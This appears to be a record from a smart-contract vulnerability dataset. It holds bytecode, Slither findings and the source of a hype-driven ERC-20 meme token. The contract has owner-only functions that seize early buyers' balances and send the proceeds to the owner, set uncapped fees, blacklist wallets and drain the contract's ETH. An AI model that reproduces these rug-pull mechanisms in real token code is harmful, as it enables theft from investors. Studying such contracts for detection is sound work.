0fd8565b6000546001600160a01b031633146107c45760405162461bcd60e51b81526004016105c090611cb3565b60005b815181101561082c576001600660008484815181106107e8576107e8611dfa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061082481611dc9565b9150506107c7565b5050565b600c546001600160a01b0316336001600160a01b03161461085057600080fd5b600061085b306106f7565b90506106f48161141d565b6000546001600160a01b031633146108905760405162461bcd60e51b81526004016105c090611cb3565b600e54600160a01b900460ff16156108ea5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105c0565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561092a30826b033a5a7a8401b34f47000000610eb4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561096357600080fd5b505afa158015610977573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099b9190611a35565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e357600080fd5b505afa1580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b9190611a35565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190611a35565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610acb816106f7565b600080610ae06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b4357600080fd5b505af1158015610b57573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b7c9190611c30565b5050600e80546a295be96e6406697200000060155563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c9190611be1565b6000546001600160a01b03163314610c595760405162461bcd60e51b81526004016105c090611cb3565b600c80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b600080546001600160a01b03163314610cbe5760405162461bcd60e51b81526004016105c090611cb3565b6103e8821115610d235760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b60648201526084016105c0565b42601455600e546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a082319060240160206040518083038186803b158015610d6d57600080fd5b505afa158015610d81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da59190611c17565b90506000610dbf612710610db984876115a6565b90611625565b90508015610de057600e54610de0906001600160a01b031661dead83610fd8565b600e546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b158015610e2a57600080fd5b505af1158015610e3e573d6000803e3d6000fd5b50506040517fb2c008fc733b2f8fc32b0ecd2b228e89b78b58bcd834ddde4b34f42495a92b80925060009150a1600193505050505b919050565b6000546001600160a01b03163314610ea25760405162461bcd60e51b81526004016105c090611cb3565b6b033a5a7a8401b34f47000000601555565b6001600160a01b038316610f165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c0565b6001600160a01b038216610f775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661103c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c0565b6001600160a01b03821661109e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c0565b600081116111005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c0565b6002600a556008600b556000546001600160a01b0384811691161480159061113657506000546001600160a01b03838116911614155b15611315576001600160a01b03831660009081526006602052604090205460ff1615801561117d57506001600160a01b03821660009081526006602052604090205460ff16155b61118657600080fd5b600e546001600160a01b0384811691161480156111b15750600d546001600160a01b03838116911614155b80156111d657506001600160a01b03821660009081526005602052604090205460ff16155b80156111eb5750600e54600160b81b900460ff165b15611248576015548111156111ff57600080fd5b6001600160a01b038216600090815260076020526040902054421161122357600080fd5b61122e42600a611d59565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b0383811691161480156112735750600d546001600160a01b03848116911614155b801561129857506001600160a01b03831660009081526005602052604090205460ff16155b156112a8576002600a556008600b555b60006112b3306106f7565b600e54909150600160a81b900460ff161580156112de5750600e546001600160a01b03858116911614155b80156112f35750600e54600160b01b900460ff165b15611313576113018161141d565b478015611311576113114761135f565b505b505b611320838383611667565b505050565b600081848411156113495760405162461bcd60e51b81526004016105c09190611c5e565b5060006113568486611db2565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561082c573d6000803e3d6000fd5b60006008548211156114005760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c0565b600061140a611672565b90506114168382611625565b9392505050565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146557611465611dfa565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114b957600080fd5b505afa1580156114cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f19190611a35565b8160018151811061150457611504611dfa565b6001600160a01b039283166020918202929092010152600d5461152a9130911684610eb4565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611563908590600090869030904290600401611ce8565b600060405180830381600087803b15801561157d57600080fd5b505af1158015611591573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000826115b557506000610590565b60006115c18385611d93565b9050826115ce8583611d71565b146114165760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c0565b600061141683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611695565b6113208383836116c3565b600080600061167f6117ba565b909250905061168e8282611625565b9250505090565b600081836116b65760405162461bcd60e51b81526004016105c09190611c5e565b5060006113568486611d71565b6000806000806000806116d587611802565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611707908761185f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173690866118a1565b6001600160a01b03891660009081526002602052604090205561175881611900565b611762848361194a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117a791815260200190565b60405180910390a3505050505050505050565b60085460009081906b033a5a7a8401b34f470000006117d98282611625565b8210156117f9575050600854926b033a5a7a8401b34f4700000092509050565b90939092509050565b600080600080600080600080600061181f8a600a54600b5461196e565b925092509250600061182f611672565b905060008060006118428e8787876119bd565b919e509c509a509598509396509194505050505091939550919395565b600061141683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611325565b6000806118ae8385611d59565b9050838110156114165760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c0565b600061190a611672565b9050600061191883836115a6565b3060009081526002602052604090205490915061193590826118a1565b30600090815260026020526040902055505050565b600854611957908361185f565b60085560095461196790826118a1565b6009555050565b60008080806119826064610db989896115a6565b905060006119956064610db98a896115a6565b905060006119ad826119a78b8661185f565b9061185f565b9992985090965090945050505050565b60008080806119cc88866115a6565b905060006119da88876115a6565b905060006119e888886115a6565b905060006119fa826119a7868661185f565b939b939a50919850919650505050505050565b8035610e7381611e26565b600060208284031215611a2a57600080fd5b813561141681611e26565b600060208284031215611a4757600080fd5b815161141681611e26565b60008060408385031215611a6557600080fd5b8235611a7081611e26565b91506020830135611a8081611e26565b809150509250929050565b600080600060608486031215611aa057600080fd5b8335611aab81611e26565b92506020840135611abb81611e26565b929592945050506040919091013590565b60008060408385031215611adf57600080fd5b8235611aea81611e26565b946020939093013593505050565b60006020808385031215611b0b57600080fd5b823567ffffffffffffffff80821115611b2357600080fd5b818501915085601f830112611b3757600080fd5b813581811115611b4957611b49611e10565b8060051b604051601f19603f83011681018181108582111715611b6e57611b6e611e10565b604052828152858101935084860182860187018a1015611b8d57600080fd5b600095505b83861015611bb757611ba381611a0d565b855260019590950194938601938601611b92565b5098975050505050505050565b600060208284031215611bd657600080fd5b813561141681611e3b565b600060208284031215611bf357600080fd5b815161141681611e3b565b600060208284031215611c1057600080fd5b5035919050565b600060208284031215611c2957600080fd5b5051919050565b600080600060608486031215611c4557600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611c8b57858101830151858201604001528201611c6f565b81811115611c9d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d385784516001600160a01b031683529383019391830191600101611d13565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d6c57611d6c611de4565b500190565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611de4565b500290565b600082821015611dc457611dc4611de4565b500390565b6000600019821415611ddd57611ddd611de4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106f457600080fd5b80151581146106f457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e68b3ce4a8bc34c1129d65c7f9be31d5474dae87a9bf47ef7ff14abbc9794d6a64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,036 |
0xe8513e3d30de7f1174d78d2a562426d8564d2626
|
/**
// SPDX-License-Identifier: Unlicensed
Elon Just Tweet and Change his PP !
https://twitter.com/elonmusk/status/1521807738317066240?s=20&t=-Q9MBV0bBxU54ZT30QJ5Fw
Initial liquidity: 1 - 1.5 ETH
Max Wallet 3%
Low Tax : Only 5% for LP & Marketing
TG : https://t.me/BoredApeFungiblePortal
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
mapping(address => bool) internal authorizations;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
authorizations[_owner] = true;
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(
owner() == _msgSender() || isAuthorized(_msgSender()),
"Ownable: caller is not allowed"
);
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BoredApeFungible is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 MAX_INT =
115792089237316195423570985008687907853269984665640564039457584007913129639935;
string private constant _name = "BoredApeFungible";
string private constant _symbol = "BAPEF";
uint8 private constant _decimals = 9;
address[] private _sniipers;
mapping(address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isSniiper;
mapping(address => bool) private _liquidityHolders;
mapping(address => bool) private bots;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
address payable private _marketingAddress;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
bool sniiperProtection = true;
uint256 private wipeBlocks = 1;
uint256 private launchedAt;
uint256 public _maxTxAmount = 30000000 * 10**9; //3
uint256 public _maxWalletSize = 30000000 * 10**9; //3
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), MAX_INT);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
_liquidityHolders[msg.sender] = true;
_marketingAddress = payable(msg.sender);
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setWipeBlocks(uint256 newWipeBlocks) public onlyOwner {
wipeBlocks = newWipeBlocks;
}
function setSniiperProtection(bool _sniiperProtection) public onlyOwner {
sniiperProtection = _sniiperProtection;
}
function byeByeSniipers() public onlyOwner lockTheSwap {
if (_sniipers.length > 0) {
uint256 oldContractBalance = _balances[address(this)];
for (uint256 i = 0; i < _sniipers.length; i++) {
_balances[address(this)] = _balances[address(this)].add(
_balances[_sniipers[i]]
);
emit Transfer(
_sniipers[i],
address(this),
_balances[_sniipers[i]]
);
_balances[_sniipers[i]] = 0;
}
uint256 collectedTokens = _balances[address(this)] -
oldContractBalance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
collectedTokens,
0,
path,
_marketingAddress,
block.timestamp
);
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(
!bots[from] && !bots[to],
"TOKEN: Your account is blacklisted!"
);
if (sniiperProtection) {
if (
launchedAt > 0 &&
from == uniswapV2Pair &&
!_liquidityHolders[from] &&
!_liquidityHolders[to]
) {
if (block.number - launchedAt <= wipeBlocks) {
if (!_isSniiper[to]) {
_sniipers.push(to);
}
_isSniiper[to] = true;
}
}
}
if (to != uniswapV2Pair) {
if (from == uniswapV2Pair && transferDelay) {
require(
_lastTX[tx.origin] + 3 minutes < block.timestamp &&
_lastTX[to] + 3 minutes < block.timestamp,
"TOKEN: 3 minutes cooldown between buys"
);
}
require(
balanceOf(to) + amount < _maxWalletSize,
"TOKEN: Balance exceeds wallet size!"
);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (contractTokenBalance >= _swapTokensAtAmount) {
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||
(from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
(bool success, ) = _marketingAddress.call{value: amount}("");
require(success);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function openTrading() public onlyOwner {
tradingOpen = true;
sniiperProtection = true;
launchedAt = block.number;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {
_transferNoTax(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount)
public
onlyOwner
{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender, recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender, uint256 amount)
internal
returns (uint256)
{
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell)
public
onlyOwner
{
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount)
public
onlyOwner
{
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
function recoverLosteth() external onlyOwner {
(bool success, ) = address(payable(msg.sender)).call{
value: address(this).balance
}("");
require(success);
}
function recoverLostTokens(address _token, uint256 _amount)
external
onlyOwner
{
IERC20(_token).transfer(msg.sender, _amount);
}
}
|
0x60806040526004361061021d5760003560e01c806370a0823111610123578063a9059cbb116100ab578063dec2ba0f1161006f578063dec2ba0f14610661578063ea1644d514610681578063f0b37c04146106a1578063f2fde38b146106c1578063fe9fbb80146106e157600080fd5b8063a9059cbb146105b1578063b6a5d7de146105d1578063c3c8cd80146105f1578063c9567bf914610606578063dd62ed3e1461061b57600080fd5b80638da5cb5b116100f25780638da5cb5b1461051a5780638eb59a5f146105385780638f9a55c01461054d57806395d89b411461056357806398a5c3151461059157600080fd5b806370a0823114610499578063715018a6146104cf57806374010ece146104e45780637d1db4a51461050457600080fd5b8063313ce567116101a65780635b8b7815116101755780635b8b781514610404578063658d4b7f1461041957806367243482146104395780636b999053146104595780636d8aa8f81461047957600080fd5b8063313ce5671461039357806333596f50146103af57806349bd5a5e146103c45780634ef1e040146103e457600080fd5b80631694505e116101ed5780631694505e146102e657806318160ddd1461031e57806323b872dd1461033d5780632f21411a1461035d5780632fd689e31461037d57600080fd5b8062b8cf2a1461022957806306fdde031461024b578063095ea7b3146102965780630b78f9c0146102c657600080fd5b3661022457005b600080fd5b34801561023557600080fd5b506102496102443660046122e0565b61071a565b005b34801561025757600080fd5b5060408051808201909152601081526f426f72656441706546756e6769626c6560801b60208201525b60405161028d91906123a5565b60405180910390f35b3480156102a257600080fd5b506102b66102b13660046123fa565b6107c8565b604051901515815260200161028d565b3480156102d257600080fd5b506102496102e1366004612426565b6107df565b3480156102f257600080fd5b50601154610306906001600160a01b031681565b6040516001600160a01b03909116815260200161028d565b34801561032a57600080fd5b50600b545b60405190815260200161028d565b34801561034957600080fd5b506102b6610358366004612448565b610823565b34801561036957600080fd5b50610249610378366004612497565b61088c565b34801561038957600080fd5b5061032f60175481565b34801561039f57600080fd5b506040516009815260200161028d565b3480156103bb57600080fd5b506102496108e3565b3480156103d057600080fd5b50601254610306906001600160a01b031681565b3480156103f057600080fd5b506102496103ff3660046124b4565b610974565b34801561041057600080fd5b506102496109b2565b34801561042557600080fd5b506102496104343660046124cd565b610cd8565b34801561044557600080fd5b50610249610454366004612552565b610d3c565b34801561046557600080fd5b506102496104743660046125be565b610de3565b34801561048557600080fd5b50610249610494366004612497565b610e3d565b3480156104a557600080fd5b5061032f6104b43660046125be565b6001600160a01b031660009081526004602052604090205490565b3480156104db57600080fd5b50610249610e94565b3480156104f057600080fd5b506102496104ff3660046124b4565b610ed9565b34801561051057600080fd5b5061032f60155481565b34801561052657600080fd5b506000546001600160a01b0316610306565b34801561054457600080fd5b50610249610f17565b34801561055957600080fd5b5061032f60165481565b34801561056f57600080fd5b506040805180820190915260058152642120a822a360d91b6020820152610280565b34801561059d57600080fd5b506102496105ac3660046124b4565b610f71565b3480156105bd57600080fd5b506102b66105cc3660046123fa565b610faf565b3480156105dd57600080fd5b506102496105ec3660046125be565b610fbc565b3480156105fd57600080fd5b5061024961101c565b34801561061257600080fd5b5061024961106e565b34801561062757600080fd5b5061032f6106363660046125db565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561066d57600080fd5b5061024961067c3660046123fa565b6110c8565b34801561068d57600080fd5b5061024961069c3660046124b4565b611177565b3480156106ad57600080fd5b506102496106bc3660046125be565b6111b5565b3480156106cd57600080fd5b506102496106dc3660046125be565b61120f565b3480156106ed57600080fd5b506102b66106fc3660046125be565b6001600160a01b031660009081526001602052604090205460ff1690565b6000546001600160a01b03163314806107375750610737336106fc565b61075c5760405162461bcd60e51b815260040161075390612609565b60405180910390fd5b60005b81518110156107c4576001600a600084848151811061078057610780612640565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107bc8161266c565b91505061075f565b5050565b60006107d5338484611339565b5060015b92915050565b6000546001600160a01b03163314806107fc57506107fc336106fc565b6108185760405162461bcd60e51b815260040161075390612609565b600c91909155600d55565b600061083084848461145d565b610882843361087d856040518060600160405280602881526020016127de602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611b54565b611339565b5060019392505050565b6000546001600160a01b03163314806108a957506108a9336106fc565b6108c55760405162461bcd60e51b815260040161075390612609565b60128054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b03163314806109005750610900336106fc565b61091c5760405162461bcd60e51b815260040161075390612609565b604051600090339047908381818185875af1925050503d806000811461095e576040519150601f19603f3d011682016040523d82523d6000602084013e610963565b606091505b505090508061097157600080fd5b50565b6000546001600160a01b03163314806109915750610991336106fc565b6109ad5760405162461bcd60e51b815260040161075390612609565b601355565b6000546001600160a01b03163314806109cf57506109cf336106fc565b6109eb5760405162461bcd60e51b815260040161075390612609565b6012805460ff60a81b1916600160a81b17905560035415610cc95730600090815260046020526040812054905b600354811015610b6157610a746004600060038481548110610a3c57610a3c612640565b60009182526020808320909101546001600160a01b031683528281019390935260409182018120543082526004909352205490611b8e565b306000818152600460205260409020919091556003805483908110610a9b57610a9b612640565b6000918252602082200154600380546001600160a01b0390921692600080516020612806833981519152926004929087908110610ada57610ada612640565b6000918252602080832091909101546001600160a01b0316835282810193909352604091820190205490519081520160405180910390a360006004600060038481548110610b2a57610b2a612640565b60009182526020808320909101546001600160a01b0316835282019290925260400190205580610b598161266c565b915050610a18565b5030600090815260046020526040812054610b7d908390612685565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610bb757610bb7612640565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c34919061269c565b81600181518110610c4757610c47612640565b6001600160a01b03928316602091820292909201015260115460105460405163791ac94760e01b81529183169263791ac94792610c9392879260009288929091169042906004016126fd565b600060405180830381600087803b158015610cad57600080fd5b505af1158015610cc1573d6000803e3d6000fd5b505050505050505b6012805460ff60a81b19169055565b6000546001600160a01b0316331480610cf55750610cf5336106fc565b610d115760405162461bcd60e51b815260040161075390612609565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331480610d595750610d59336106fc565b610d755760405162461bcd60e51b815260040161075390612609565b60005b